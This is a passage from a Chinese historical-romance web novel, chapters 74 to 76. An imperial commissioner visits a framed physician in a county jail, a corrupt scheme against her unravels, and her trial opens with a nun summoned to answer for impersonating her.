“当然。”她说，“你我毕竟主仆一场，我怎么会害你呢？” 静非看着她，心里涌起一阵寒意。她知道这话不能信，可她别无选择。 她低下头，跟着小尼姑走了出去。 门在身后关上，隔绝了外面的月光。 74. 第74章 裴宴探监 夜色如墨，更深露重。 长风一路狂奔着冲进行辕后院的。他顾不上擦额头的汗，也顾不上喘匀气息，直接扑到书房门前，抬手叩门。 “郎主！出事了！” 门几乎是立刻被打开的。裴宴站在门内，身上还穿着白日那身玄色直裰，显然尚未就寝。他目光落在长风脸上，瞳孔微微一缩。 “说。” 长风咽了口唾沫，声音发紧：“许娘子……被归平县的人带走了。” 裴宴的眉峰几不可察地动了一下。他没有说话，只盯着长风，等他继续。 “今日下午，张记生药铺来了几个人闹事。”长风语速极快，将事情经过简要禀报，“先是有人诬告张记卖假药害人，后又有人翻出青坑村赵大媳妇难产之事，说是许娘子见死不救，致一尸两命。落溪村和水月庵也来了人，当众指认许娘子心术不正。紧接着，归平县的差役就到了，手持归平县衙的追牒，要拿许娘子去归平过堂。” “追牒？”裴宴的声音冷了下来，“跨县拿人，可有菰城府衙的协捕公文？” “没有。”长风摇头，“小的让人打听了，菰城府衙根本不知此事。那归平县的押差拿的，就是归平县尊亲笔签发的文书。许娘子当场指出不合规矩，但那押差根本不理会，硬是把人带走了。” 裴宴的指尖在袖中微微收紧。他面上依旧平静，眸光却已沉了下去。 “人现在何处？” “已被押往归平县大牢。”长风道，“小的已派人暗中跟着，确保许娘子路上安全。归平县那边，咱们的人也在盯着，若有异常，会立即来报。” 裴宴沉默片刻，转身走回书案前。案上摊着几份刚送来的密报。秦海和张超在京城查到的线索，关于那个“宋兄”的身份，已有了眉目。应天府的暗探也传回消息，找到了宋大的下落，正在进一步核实。 收网在即。这个时候，任何变故都可能打乱全盘计划。 可那一袭藕荷色衣裙的身影，那个在月光下笑着说“想有一间自己的药铺”的女子，此刻正被关在归平县阴冷的大牢里。 “备马。”裴宴忽然开口。 长风一愣：“郎主，现在？已经亥时三刻了……” “备马。”裴宴重复了一遍，声音不高，却带着不容置疑的威压。 长风不敢再问，躬身退出，快步去安排。 裴宴立在书案前，目光落在那张舆图上。归平县，就在菰城以北六十里处。快马加鞭，一个时辰可到。 他伸手拿起案上的钦差令牌，收入怀中。 一刻钟后，两骑快马从行辕后门疾驰而出，消失在浓重的夜色中。 归平县大牢在县城西北角，是一处年久失修的破旧院落。高墙深院，墙头布满铁蒺藜，两扇黑漆大门紧闭，门上的铜环在月光下泛着幽冷的光。 裴宴在牢门外勒住马。长风上前叩门，好半天才有一个睡眼惺忪的老牢子来开门。那老牢子见来人气度不凡，身后还跟着个腰悬佩刀的随从，顿时清醒了几分。 “两、两位是……” 长风从怀中取出钦差令牌，在他眼前一晃。老牢子看清那令牌上的字样，腿都软了，扑通一声跪倒在地。 “小、小人不知天使驾到，有失远迎……” “起来。”裴宴的声音从头顶传来，不高，却带着让人不敢直视的威严，“今夜可有一个女医被押来此地？” 老牢子忙不迭点头：“有、有！酉时刚过，县衙的差爷送来的。说是……说是谋害人命的要犯。” “带路。” 老牢子爬起来，躬着腰在前引路。穿过两道门，沿着昏暗潮湿的甬道往里走，一股混杂着霉味、尿骚味和血腥气的恶臭扑面而来。甬道两侧是一间间狭小的牢房，里面隐约可见蜷缩的人影，听见脚步声，有人发出虚弱的呻吟，有人低声咒骂。 裴宴的眉头微微蹙起，脚步却未停。 老牢子在一间牢房前停下，掏出钥匙打开门锁，陪着笑道：“天使，就、就是这间。小的在外头候着，天使有事尽管吩咐。” 裴宴没有理会他，只抬手推开了那扇斑驳的木门。 牢房不大，约莫一丈见方。墙角堆着发霉的稻草，一股霉烂的气息直冲鼻腔。唯一的亮光是从高处一扇巴掌大的小窗透进来的月光，在地上投下惨白的一块。 许娇娇就坐在那方月光里。 她背靠着墙，双腿蜷起，双手环抱着膝盖，姿态防备却不见瑟缩。听见门响，她抬起头，目光落在门口那道颀长的身影上。 四目相对。 月光从她身后的小窗斜斜照进来，在她脸上镀上一层淡淡的银辉。她的发丝有些散乱，衣裙上沾了灰，可那双眼睛依旧清澈，像深潭映着星子，没有恐惧，没有慌乱，只有一种沉静的、近乎坦然的平静。 她似乎并不意外他会来。 裴宴站在门口，就着那点微光仔细打量她——除了脸色略显苍白，没有受伤的痕迹。他心头那根一直绷紧的弦，悄悄松了半分。 “裴安抚。”许娇娇开口，声音有些沙哑，却还算平稳，“您怎么来了？” 裴宴没有回答。他跨进牢房，在她面前蹲下，目光与她平视。 “可受伤了？” 许娇娇微微一怔，随即摇头：“没有。他们只是把我关起来，没有动刑。” 裴宴点了点头，站起身，四下看了一圈。这间牢房虽然简陋，但比起外面那些拥挤的号子，算是干净的。大约是单独关押的缘故。墙角放着一只破旧的陶碗，里面盛着半碗浑浊的水，碗沿豁了口，积着厚厚的污垢。 他的眸光暗了暗。 “安抚使，”许娇娇的声音从身后传来，“您不该来的。” 裴宴转过身，看着她。 许娇娇依旧坐在那方月光里，仰头望着他。月光勾勒出她清瘦的轮廓，那双眼睛在暗处显得格外明亮。 “归平县衙的人抓我，用的是谋害人命的罪名。案子还没审，您这个时候来探监，传出去会惹人闲话。”她顿了顿，“您是钦差，要查的是大案。何必为小女这点小事……” “小事？”裴宴打断她。 许娇娇一怔。 裴宴居高临下看着她，烛光从门外透进来，在他脸上投下明明灭灭的光影。那张总是冷峻的脸上，此刻竟有一丝让人看不透的情绪。 “在你看来，这是小事？”他的声音不高，却带着一丝压抑的沉意。 许娇娇张了张嘴，一时不知如何作答。 裴宴没有继续追问。他移开目光，从袖中取出一个油纸包，蹲下身，放在她面前。 “路上买的。还热着。” 许娇娇低头看去，是两个炊饼，还冒着微微的热气。油纸包旁边，还有一小块用干荷叶裹着的卤肉。 她忽然觉得眼眶有些发酸。 从下午被带走到现在，已经过了将近四个时辰。她粒米未进，滴水未沾。不是没人送饭，是那半碗浑浊的水和不知道什么做的馊饭，她实在难以下咽。 她以为她能扛过去。她以为她不在乎这些。 可此刻，看着面前这两个普普通通的馒头，闻着那股熟悉的麦香，她忽然发现自己远没有想象中那么坚强。 “谢谢裴安抚。”她声音有些发哽，却没有伸手去拿。 裴宴看着她，目光里有什么东西动了动。他没有说话，只站起身，退后两步，负手立在门口。 “吃吧。”他说，背对着她，“本官在外头守着。” 许娇娇看着他的背影，玄色的氅衣在昏暗的牢房里显得格外孤直，像是要把那些不堪的、肮脏的东西都挡在外面。她低下头，拿起一个馒头，小口小口地咬着。 馒头很软，还带着余温。卤肉咸香，是她在张记附近那家老店常买的那种。她不知道他是如何知道那家店的，也不知道他是如何在深夜买到的，只知道这两样东西，此刻在她嘴里，胜过世间任何美味。 她吃得很慢，很仔细，像是要把这份温暖一点一点咽进心里。 门外传来低低的说话声。是长风在问那老牢子什么。老牢子陪着笑，声音又低又谄媚。裴宴始终没有说话，只静静立在那里，背影像一尊沉默的石像。 许娇娇吃完一个馒头，犹豫了一下，没有动第二个。她用油纸重新包好，小心翼翼收进袖中。 “裴安抚，”她轻声唤道，“小女吃好了。” 裴宴转过身，走回她面前。他看了一眼那个没动的馒头，眉头微动：“怎么不吃？” “留着。”许娇娇扯出一个笑，“万一明天还没人送饭，还能撑一撑。” 裴宴沉默片刻，没有说什么。他在她面前蹲下，目光落在她脸上。 “告诉本官，今日之事，究竟如何？” 许娇娇没有隐瞒，将下午在张记发生的一切原原本本说了一遍。 那先来闹事的汉子，那后来哭诉的妇人，那些突然冒出来的落溪村人和水月庵香客，还有那押差手中的追牒和那句“老子就是规矩”。 裴宴静静听着，面上看不出什么表情，只是眸光越来越沉。 “赵大媳妇难产那件事，”他问，“究竟是怎么回事？” 许娇娇垂下眼睫，沉默片刻，才道：“那夜大雨，赵大确实来求过医。但他没有找到小女，他在半路上遇到了一个人，那人自称小女，骗走了他。” “谁？” “水月庵的尼姑，静非。” 裴宴眸光一闪。 “小女事后才知道这件事。”许娇娇抬起头，看着他，“静非假扮小女，骗赵大说：这等污秽之事，也配来寻我？我平日行医济世，那是积德行善。妇人产育，血光冲天，最是晦气。我清清白白一个未出阁的女子，沾了这晦气，往后还怎么说亲？你且回去吧，生死有命。赵大信以为真，冒雨赶回，在山里困了一夜，等他到家，他媳妇已经……” 她没有说下去，但意思已经足够明白。 “静非为何要这么做？” “小女之前在水月庵救了被水仙姑关押的静尘师姐。当时，是小女使了个计谋，让落溪村的村民撞破了水仙姑和王大官人在水月庵私会。水仙姑因此入了狱。后来她被王大官人使了手段放了出来，这才对小女怀恨在心。她出狱后，欲对我和静尘、静心使坏，我便带了静尘她们逃离了水月庵后山来到菰城。她无计可施，恐怕是觉得这口恶气没有出。于是视小女为眼中钉，肉中刺。静非是她的人，做些针对小女的事，不足为奇。” 裴宴沉默着。牢房里只有夜风从小窗灌进来的呜咽声，和远处隐约传来的囚犯呻吟。 “今日那些落溪村和水月庵的人，”他缓缓开口，“都是冲着你来的。” “是。”许娇娇坦然道，“他们早有预谋。先闹事，再造势，再有人出来作证，一环扣一环，逼张记就范，也逼小女入瓮。” “那个指使的人——” “不是水仙姑就是王大官人。”许娇娇打断他，目光平静，“总之，除了他们，小女想不出还有谁。” 裴宴看着她。月光在她脸上镀了一层淡淡的银辉，那双眼睛清澈坦荡，没有怨怼，没有愤恨，只有一种洞悉后的平静。 她知道自己为何被陷害，知道是谁在背后操纵，知道等待她的是什么。可她依旧坐在这里，不哭不闹，不求不诉，只是平静地告诉他这些。 这样的女子，他生平仅见。 “你就这么确信，是水仙姑他们？”他问。 许娇娇唇角微微扬起，那笑意很淡，却带着一丝说不清的意味：“安抚使，小女从不与人结怨，只有她们和小女有过节。水仙姑和王大官人在水月庵做了那么多丧尽天良之事，唯恐被人察觉，或许她认为我们掌握 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“因为您是钦差。”许娇娇认真地看着他，“您要查的是大案，要对付那些大人物、还有他们背后的人。小女这点事，不过是他们设的一个局，目的就是要分散您的精力，打乱您的部署。您若为了小女分心，就正中他们下怀了。” 裴宴静静听着，没有打断。 许娇娇继续道：“小女信得过安抚使，也信得过朝廷的法度。归平县衙要审，就让他们审。小女问心无愧，不怕对簿公堂。安抚使只需安心查自己的案子，不必为小女……” “许娘子。”裴宴忽然开口，打断了她。 许娇娇一怔。 裴宴看着她，月光在他眼中投下细碎的亮光，让那双总是冷峻的眼眸，此刻显得格外深邃。 “你说的这些，本官都明白。”他的声音不高，却一字一句清晰，“但你有一件事不明白。” 许娇娇问：“什么事？” 裴宴没有立刻回答。他沉默片刻，才缓缓道：“你是本官请来协助查案的人。你被诬陷，被关进大牢，本官若视而不见，算什么？” 许娇娇张了张嘴，想说什么，却被他抬手止住。 “放心。”裴宴站起身，低头看着她，“归平县这处，本官自有安排。你先在这里委屈几日，最多三日，本官会让你出去的。” 许娇娇仰头望着他。他站在月光照不到的地方，面容隐在暗处，看不清表情。可那双眼睛，在昏暗中却亮得惊人，带着一种让人莫名安心的笃定。 “安抚使，”她轻声问，“您不怕这是圈套？” 裴宴唇角微微扬起，那弧度很浅，却带着几分说不清的意味：“圈套又如何？本官既然来了，就不怕他们设圈套。” 许娇娇心头一颤。 她低下头，没有再说什么。 裴宴转身要走，走到门口，忽然停下脚步。他从袖中取出一个东西，走回来，放在她掌心。 那是一块令牌，沉甸甸的，刻着钦差独有的纹样。 “拿着。”他道，“若有人敢对你用刑，就亮出来。归平县的人再大胆，也不敢动钦差的人。” 许娇娇握着那块令牌，掌心传来冰凉的触感，却又莫名烫人。她抬起头，想说什么，却只看见裴宴已经转身离去。 他的背影在昏暗的甬道里渐渐走远，玄色氅衣的下摆轻轻飘动，像夜色中掠过的风。 长风跟在他身后，经过牢房门口时，冲她点了点头，那眼神里有敬佩，有安慰，还有一丝说不清的复杂。 脚步声渐渐远去。牢门没有锁，老牢子陪着笑跟在后面，一路点头哈腰。 许娇娇依旧坐在那方月光里，低头看着掌心的令牌。月光落在上面，映出冰冷的金属光泽。她握紧它，感受着那份沉甸甸的分量。 她抬起头，望向那扇半开的牢门。甬道深处已不见那人的身影，只有夜风穿堂而过，带来远处隐约的梆子声。 已是子时了。 许娇娇收回目光，将令牌小心收入怀中，贴着心口的位置。那里还揣着那个没吃的馒头，已经凉了，可她舍不得吃。 她重新靠回墙上，闭上眼。 脑海中却不断浮现那张冷峻的脸，那双向来沉静此刻却闪着光的眼睛，那句“本官既然来了，就不怕他们设圈套”。 他说让她等三日。 她信他。 夜风从小窗灌进来，带着深秋的寒意。许娇娇蜷起身子，将那方令牌和那个馒头护在怀中，唇角微微扬起。 她也不知道自己在笑什么。只是觉得，这个异世，似乎也没有想象中那么冷。 牢门外，裴宴大步走出大牢。夜风扑面而来，带着深秋的凛冽。他站在台阶上，望着头顶那轮半残的月亮，深深吸了一口气。 长风跟上来，低声道：“郎主，回行辕吗？” 裴宴没有回答。他沉默片刻，忽然问：“归平县衙那边，是谁主事？” 长风一愣，随即道：“归平县尊姓周，名景明。据说和王兆仁有些来往。” “周景明。”裴宴咀嚼着这个名字，眸光冷了下来，“明日一早，让人去查查这个周景明。还有那个押差，叫什么？” “属下这就去查。”长风应道。 裴宴点了点头，翻身上马。他没有立刻催马，只勒着缰绳，回头看了一眼那座黑沉沉的牢房。 高墙深院，墙头布满铁蒺藜。月光下，那两扇黑漆大门紧闭着，像一张沉默的嘴。 他想起她坐在月光里的样子。背脊挺直，目光清澈，明明身处囹圄，却像是在自家院中那般坦然。她吃的馒头，小心翼翼收起的那个，说“留着明天还能撑一撑”时认真的语气。 裴宴攥紧了缰绳。 “回行辕。”他沉声道。 两骑快马疾驰而去，马蹄声在寂静的夜色中格外清晰。秋风卷起满地黄叶，追着他们的影子一路往南。 75. 第75章 赵大死了 马车一路颠簸，周景明坐在车厢里，擦着额头上不断渗出的冷汗。 方才在行辕那一幕，像刀子一样刻在他脑子里。那位年轻的钦差，那双眼睛，那不带一丝温度的语气。他做了六年地方官，见过不少上官，却从未有人让他如此胆寒。 “周县令，本官给你一个机会。” 这句话，此刻还在他耳边回响。 周景明闭上眼，深吸一口气。他想起自己去年才从邻县调来归平，本是想着这里富庶，能安安稳稳做几年，攒些政绩，也好往上挪一挪。谁知才一年，就摊上这样的事。 那王兆贵，归平县的大户，平日里人称王大官人。生意做得大，手也伸得长。他来归平上任时，他就托人送过一份厚礼，他没收。不是不想收，是不敢。可他也没得罪，睁一只眼闭一只眼，想着井水不犯河水。 县衙里的押司胡文，都头刘大勇，都是本地人，据说和王大官人走得近。他睁一只眼闭一只眼，由着他们去，只要不闹出大事，他乐得清闲。 可如今，闹出大事了。 那个女医，不知怎的竟攀上了钦差的关系。钦差亲自来探监，还给了令牌。这事若是传出去，他周景明就是有十个脑袋，也担不起“滥用职权、构陷良民”的罪名。 “快些！”他朝外头催了一声。 马车跑得更快了。 回到县衙，周景明顾不上歇息，立刻让人把胡文和刘大勇叫来。 两人来得很快。胡文依旧是那副吊儿郎当的模样，进门时还剔着牙，显然刚吃过酒肉。刘大勇倒是规矩些，垂手站着，目光却有些闪烁。 “县尊，您叫小的们来，有什么吩咐？”胡文笑嘻嘻地问。 周景明盯着他，沉声道：“昨日抓来的那个女医，关在何处？” 胡文一愣，随即道：“在大牢里。县尊放心，小的亲自看管，跑不了。” “可曾动过刑？” 胡文脸色微变，随即笑道：“县尊说笑了，案子还没审，小的哪敢动刑？就是……就是昨夜里小的去看了一趟，那女医脾气大得很，还拿话顶撞小的……” 周景明心头一跳：“你去看她做什么？” 胡文被他这么一问，有些讪讪的：“小的……小的是怕她夜里闹事，去巡查巡查。县尊，您怎么对那女医这般上心？不过是个招摇撞骗的野郎中，害死了人命，按律当斩……” “住口！”周景明一拍桌案，把两人都吓了一跳。 胡文愣住，脸上的笑僵在那里。 周景明站起身，走到他面前，压低声音道：“你知不知道，那女医背后是什么人？” 胡文脸色变了变，却还嘴硬：“不就是个孤女吗？小的早就见过她，她是从水月庵还俗出来的，无亲无故……” “无亲无故？”周景明冷笑，“那女子手中的令牌，是从天上掉下来的？” 胡文的脸色彻底白了。 周景明看着他，一字一句道：“昨日夜里，钦差亲自去了大牢，见了那女医，还给了她一块钦差令牌。你夜里去巡查，没碰上吧？” 胡文腿一软，险些跪下去。 他想起昨夜里，自己推开牢门，伸手去捏那女医的下巴时，她亮出的那块令牌。那上面的纹样，此刻还在他眼前晃。当时他以为是那女医仿冒的，还羞辱了一番。 若是钦差知道了…… “县、县尊，小的……小的不知道啊！”胡文扑通一声跪了下来，“小的若知道那女医有这层关系，打死小的也不敢……” “现在知道了？”周景明盯着他，“告诉你，钦差发了话，那女医若是有半点闪失，你我的人头都保不住。明白吗？” 胡文连连磕头：“明白！明白！小的这就去大牢，给那姑奶奶赔罪！好吃好喝伺候着，绝不敢再动她一根汗毛！” 周景明冷哼一声，转向刘大勇：“刘都头，大牢那边，你亲自盯着。除了你派去的人，不许任何人接近那女医。若有差池，唯你是问。” 刘大勇抱拳：“县尊放心，属下明白。” 周景明摆了摆手，两人退了出去。 他独自站在堂中，望着窗外阴沉沉的天，长长叹了口气。 这事，怕是不能善了了。 大牢里，许娇娇依旧靠坐在墙角。 昨夜里胡文走后，她再没睡着。冷，饿，还有说不清的忐忑。虽然那块令牌吓退了胡文，可谁知道接下来还会发生什么？ 她将令牌紧紧握在掌心，冰凉的金属触感，此刻竟成了唯一的慰藉。 不知过了多久，牢门外传来脚步声。这一次，脚步声很稳，不止一人。 门被推开，一个穿着青色官袍的中年人走了进来。他身后跟着几个差役，手里提着食盒、抱着铺盖。 许娇娇没有动，只静静看着他。 周景明站在牢房中央，打量着这个女子。衣衫单薄，沾着灰尘，发丝也有些散乱，可那双眼睛，却清澈得像深潭，没有畏惧，只有一种沉静的坦然。 他心头微微一凛。 “你就是许娘子？”他开口道，语气尽量放得温和。 许娇娇点了点头，没有起身，只淡淡道：“正是小女。敢问尊驾是？” “本县归平知县，周景明。”周景明拱手为礼，“昨日之事，多有得罪。本县初来归平，对下面的人约束不严，让许娘子受委屈了。” 许娇娇目光微动。这位知县亲自来赔礼，姿态放得这般低，显然是因为昨夜那人的缘故。 她心中明了，面上却不动声色，只道：“县尊言重了。小女不过是个寻常医女，当不起县尊亲自来探。” 周景明听她语气平淡，没有借机诉苦，也没有摆出钦差靠山的架子，心中暗暗称奇。他挥了挥手，身后的差役忙上前，将食盒和铺盖放下。 “许娘子，这是些吃食和被褥。大牢阴冷，娘子先将就着用。案子的事，本县自会秉公审理，绝不会冤枉好人。”周景明说得诚恳，目光却一直在观察许娇娇的反应。 许娇娇看了一眼那些东西——食盒精致，被褥崭新，显然是用心准备的。她收回目光，微微颔首：“多谢县尊。” 周景明见她这般从容，反倒有些不知所措。他咳嗽一声，又道：“许娘子若有需要，尽管吩咐差役。本县已吩咐下去，让他们好生照应。” 许娇娇点了点头，没有再说话。 周景明站了片刻，自觉无趣，便拱手告辞。走出牢门，他回头看了一眼——那女子依旧坐在墙角的稻草上，背脊挺直，目光平静，仿佛这阴冷潮湿的大牢，不过是一处寻常所在。 他心头涌起一股复杂的情绪。这样的女子，怎么会是谋害人命的凶犯？ 走出大牢，胡文正守在门口，满脸堆笑地迎上来：“县尊，您放心，小的已经吩咐下去了，一日三餐好生伺候，绝不敢怠慢……” 周景明冷冷看了他一眼：“胡押司，你记住，那许娘子若再受半点委屈，本县拿你是问。” 胡文连连点头：“是是是，小的明白，小的明白。” 周景明拂袖而去。 胡文望着他的背影，脸上的笑慢慢敛去，眼中闪过一丝阴鸷。他转身往大牢深处看了一眼，啐了一口，低声骂道：“什么玩意儿，一个臭娘们，也值得这般大动干戈……” 他身后，刘大勇不知何时走了过来，拍了拍他的肩：“胡兄，少说两句。那女医背后的人，咱们惹不起。” 胡文哼了一声，没再说话，心里却暗暗记下了这笔账。 午后，菰城钦差行辕。 长风快步走进书房，脸色有些凝重。 “郎主，青坑村赵家，出事了。” 裴宴正在批阅公文，闻言抬起头，眸光微沉：“说。” “小的派人去青坑村找赵大，赵大不在家。”长风压低声音，“邻居说，昨日午后，有个陌生男子来找赵大，两人说了几句话，赵大便收拾东西跟那人走了。至今未归。” “陌生男子？”裴宴放下笔，“什么模样？” “邻居说不清楚，只记得那人穿着靛蓝短褐，像是城里的打扮。”长风道，“属下怀疑，是有人抢先一步，把赵大带走了。” 裴宴沉默片刻，手指在案上轻轻叩击。 这一招，倒是快。 “让人继续找。”他沉声道，“青坑村附近，归平县境内，都要搜。活要见人，死要见尸。” 长风抱拳：“是。” 他转身要走，裴宴又叫住他。 “告诉明月，让人盯紧水月庵和归平县衙。”裴宴眸光微冷，“若赵大被灭口，杀人的人，总要处理尸首。” 长风会意，退了出去。 书房里重归寂静。裴宴站起身，走到窗前，望着外面渐渐西斜的日头。 赵大失踪，这条线索暂时断了。但对方越是急着动手，就越说明心虚。 他想起昨夜大牢里，许娇娇说“静非假扮小女”时的语气。静非，那个老尼姑，如今在何处？ “来人。” 一个侍卫应声而入。 “去查查水月庵那个静非比丘尼的下落。”裴宴道，“她若还活着，多半在水仙姑身边。若死了……” 他没有说下去，但侍卫已经明白。 侍卫退下后，裴宴重新坐回案前。窗外，夕阳将落未落，天边烧成一片橘红。秋风渐起，卷起满庭落叶，沙沙作响。 归 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“安勿忧。已遣人查证，不日可白。赵大失踪，疑有人灭口，然愈如此，愈证其事有鬼。静待三日，必亲迎汝出。珍重。” 没有落款，但那字迹，遒劲挺拔，力透纸背，一如他本人。 许娇娇将信贴在胸口，闭上眼，深深吸了一口气。 他说，必亲迎汝出。 他说，珍重。 夜深了。 归平县衙后堂，周景明还在灯下翻看案卷。那卷宗里，是关于许娇娇的谋害人命一案，苦主赵大，证人有落溪村村民、水月庵香客，还有那个自称亲眼见许娇娇见死不救的汉子。 他越看越觉得不对劲。 这些证人，全是归平县的人。那个汉子，他认得，是王大官人庄上的管事。那几个落溪村的村民，据说也是王大官人佃户。至于水月庵的香客，更不必说。水月庵的水仙姑，和王大官人是什么关系，他虽初来乍到，也有所耳闻。 这哪里是苦主告状，分明是有人设局。 周景明揉着眉心，长长叹了口气。 他知道，自己被人当枪使了。那个胡文，多半收了王大官人的好处，拿着他的追牒去抓人。而他这个知县，稀里糊涂就成了帮凶。 如今钦差盯着，他若不把这事掰扯清楚，别说前程，只怕项上人头都难保。 可王大官人那边…… 他咬了咬牙，心中有了计较。 翌日一早，周景明唤来刘大勇，低声吩咐了几句。刘大勇面露诧异，随即抱拳应下，匆匆离去。 周景明站在堂前，望着渐渐升起的日头，脸上闪过一丝决然。 这归平县的天，该变一变了。 与此同时，菰城钦差行辕。 裴宴拿起案上那份刚从京城送来的密报，目光落在那几行字上。 宋大，宋国公府远房族人，本名宋义，景和十年在京城做事，后因卷入一桩人命案被宋国公打发回应天府老家。据查，此人与崔琰素有往来，景和十年腊月二十三夜，曾有人见他在翠玉楼附近出现。 宋义。 裴宴咀嚼着这个名字。应天府那边，暗探已经找到了他的下落，正在进一步核实。只要拿到他的口供，翠玉楼大火、崔琰与宋家的勾结，便可大白于天下。 “郎主。”长风快步进来，脸上带着喜色，“应天府那边传回消息，找到宋大了。” 裴宴目光一凝：“如何？” “宋大，宋义，如今在应天府乡下隐居，改名换姓，开了一家杂货铺。”长风压低声音，“咱们的人已经盯上了他，只等郎主一声令下，便可拿人。” 裴宴沉默片刻，缓缓道：“先不要打草惊蛇。让人暗中盯着，看他是否与崔琰、王兆仁有联系。等这边收网，一并拿下。” “是。”长风应下，又接着道，“郎主，赵大出事了。” 裴宴抬眼。 长风道：“咱们的人在青坑村附近搜了一夜，今早在山脚下发现一处新翻的土。挖开一看，是具男尸，身上有伤，面目模糊。但衣着和赵大失踪时穿的相符。多半是赵大。” 裴宴眸光一沉。果然，灭口了。 “仵作验过了吗？” “验了。致命伤是后脑重击，应是被人用石头砸死的。”长风道，“尸首已运回，只等家属认领。” 裴宴点了点头。赵大一死，线索断了，但也坐实了对方杀人灭口的罪行。只要找到凶手，顺藤摸瓜，不怕揪不出背后的人。 “继续查。”他沉声道，“谁杀了赵大，谁就要偿命。” 长风抱拳，退了出去。 76. 第76章 静非招了 归平县衙的大门辰时刚过便已洞开，两扇黑漆木门在秋风中微微晃动，门楣上“明镜高悬”的匾额蒙着一层薄灰，字迹依稀可辨。 今日是许娘子一案开审的日子。 消息不知怎的就传了出去，天不亮便有百姓聚在县衙外。有来看热闹的，有等着瞧稀罕的，也有那些日子在张记闹过事的人。此刻混在人群里，眼神闪烁，等着看这出戏如何收场。 胡文一早便守在衙门口，腰间挎着刀，脸上带着惯常的倨傲。可若细看，便能瞧见他眼底那抹挥之不去的忐忑。 那夜大牢里的事，他不敢对任何人说。那块令牌，那双冷冷看着他的眼睛，还有那句“滚”。每想起来，都让他后脊梁发寒。 刘大勇站在他身侧，面色如常，只偶尔抬眼望向人群深处，像是在等什么人。 卯时三刻，周景明从后堂出来。 他今日穿了官袍，戴了幞头，腰间系着银铊革带，比平日肃穆许多。脸上的表情却有些复杂。 升堂的牌子一敲，两班衙役齐声吆喝，刀枪杵地，声震屋瓦。 周景明在堂上坐定，目光扫过堂下。原告席上空着，被告席上也没有人。他深吸一口气，沉声道：“带苦主家属。” 一个妇人被带了上来。 正是那日在张记哭闹的妇人，赵大的寡嫂。她今日穿了一身粗麻孝服，头上簪着白花，眼眶红肿，一进堂便扑倒在地，嚎啕大哭。 “青天大老爷！民妇要给兄弟和弟媳妇伸冤啊！” 周景明皱了皱眉，一拍惊堂木：“肃静！堂上不得喧哗。你且起来，将状情一一说来。” 那妇人被衙役扶起，抽抽噎噎地说起来。说赵大媳妇怀胎八月，那夜腹痛发作，赵大冒雨去求医；说那女医见死不救，还说出那般刻薄恶毒的话；说赵大信以为真，在山里困了一夜，等他赶回家，媳妇已经咽了气，一尸两命。 “可怜我那弟媳妇，肚子里还揣着个娃，就那么活活疼死了……”妇人越说越哭，声音凄厉，“天爷呀，你开开眼，劈死那蛇蝎心肠的毒妇吧！” 堂外围观的百姓一阵骚动，有人低声议论，有人摇头叹息。 周景明面色不变，只问道：“赵大媳妇难产之事，你可亲眼所见？” 妇人哭声一顿，随即道：“民妇……民妇没亲眼见。但赵大亲口说的，那夜他去求医，亲耳听见那女医说的那些话！” “赵大人呢？” 妇人脸色微变，又哭道：“青天大老爷，我那兄弟……我那兄弟前日被人害了！尸首今早才从山脚下抬回来，脑壳都被人砸烂了……” 此言一出，堂外哗然。 周景明心头一凛，面上却不动声色，只道：“赵大被害之事，本县已听闻，已着人查验。今日先审许氏见死不救一案，赵大之死，另案办理。” 他顿了顿，又道：“带被告许氏。” 片刻，许娇娇被带了上来。 她没有戴枷，也没有锁链，只穿着一身半旧的藕荷色衣裙，发丝有些散乱。走进堂中时，她抬头看了一眼堂上的周景明，又看了一眼堂外围观的人群，目光平静得像一潭深水。 那妇人在旁指着她，哭喊道：“就是她！就是这个毒妇！她害死了我弟媳妇和那没出世的娃！” 许娇娇没有理会她，只向堂上敛衽为礼：“民女许氏，见过县尊。” 周景明看着她，心头那点复杂的情绪又涌了上来。他压下那股情绪，沉声道：“许氏，有人告你见死不救，致赵门王氏母子双亡。你可认罪？” 许娇娇摇头：“民女不认。” “那夜之事，你且从实说来。” 许娇娇抬起头，声音不高，却字字清晰：“那夜大雨，民女确实在茅屋中。但民女没有听见任何敲门声，也没有见过任何人。且如果有人来求医，我家中还养着一条大黑狗，它听到生人逼进，怎么会一声不吠！” 那妇人立刻跳起来：“你撒谎！赵大亲口说的，他在后山见到一个年轻女子，带着斗笠，自称娇杏！那女子说的话，他学得一字不差！” 许娇娇看着她，目光平静：“他见到的那个人，不是民女。” “不是你是谁？” 许娇娇没有回答，只转向周景明：“县尊，民女有一事相询。” 周景明点头：“讲。” “那夜冒充民女之人所说的话，赵大可曾对他人提及？” 那妇人一愣，随即道：“当然说过！他对我说过，对村里人也说过！” “说了什么？” 妇人脱口而出：“他说那女子讲，’妇人生产血光污秽，清清白白未出阁的女子沾了晦气往后怎么说亲’——这些，可不就是你说的？” 许娇娇看着她，忽然笑了笑。那笑容很淡，却让妇人心里莫名一慌。 “这位大嫂，”许娇娇缓缓道，“民女行医以来，救治过多少妇人，你可知道？” 妇人张口结舌。 “疫病期间，民女在仁心堂外救治灾民，日以继夜，你可知道？” 妇人脸色变了。 “民女若真忌讳‘妇人生产血光冲天’，为何还要行医？为何还要救治那些产妇？这不是自相矛盾吗？” 堂外围观的百姓中，有人低声议论起来。 “对啊，许娘子在张记坐诊，听说治好了不少人……” “疫病期间我也见过她，日夜都在忙，哪像那种人……” 那妇人急了，喊道：“你、你少狡辩！那些话就是你说的！赵大亲耳听见的，他还能撒谎不成？” 许娇娇看着她，目光中带着一丝怜悯：“赵大有没有撒谎，民女不知。但民女知道，那夜冒充民女之人，是谁。” 此言一出，满堂皆惊。 周景明猛地坐直身子：“你说什么？” 许娇娇转向他，声音平稳：“县尊若不信，可传民女所言之人到堂对质。” “何人？” “水月庵比丘尼，静非。” 那妇人脸色大变，身子晃了晃，险些站立不稳。 堂外围观的人群中，有几个身影悄悄往后退，却被刘大勇带人拦住了去路。 周景明看着许娇娇，目光深邃。他沉默片刻，忽然道：“传水月庵比丘尼静非。” 衙役应声而去。 堂上一时寂静下来。那妇人低着头，身子微微发抖。胡文站在一旁，脸色也变了。他想起那夜自己说过的话，想起自己说“那女医是从水月庵还俗出来的”。 水月庵。静非。 这两个词，像一根刺，扎在他心头。 约莫半个时辰后，静非被带了上来。 她穿着一身灰扑扑的僧袍，比从前憔悴了许多，脸色蜡黄，眼下青黑，整个人像是老了十岁。走进堂中时，她低着头，不敢看任何人，只盯着自己的脚尖。 许娇娇看着她，目光平静得像在看一个陌生人。 周景明一拍惊堂木：“下站何人？” 静非身子一抖，声音发颤：“贫尼……贫尼静非，水月庵比丘尼。” “许氏说，那夜冒充她之人是你。你可承认？” 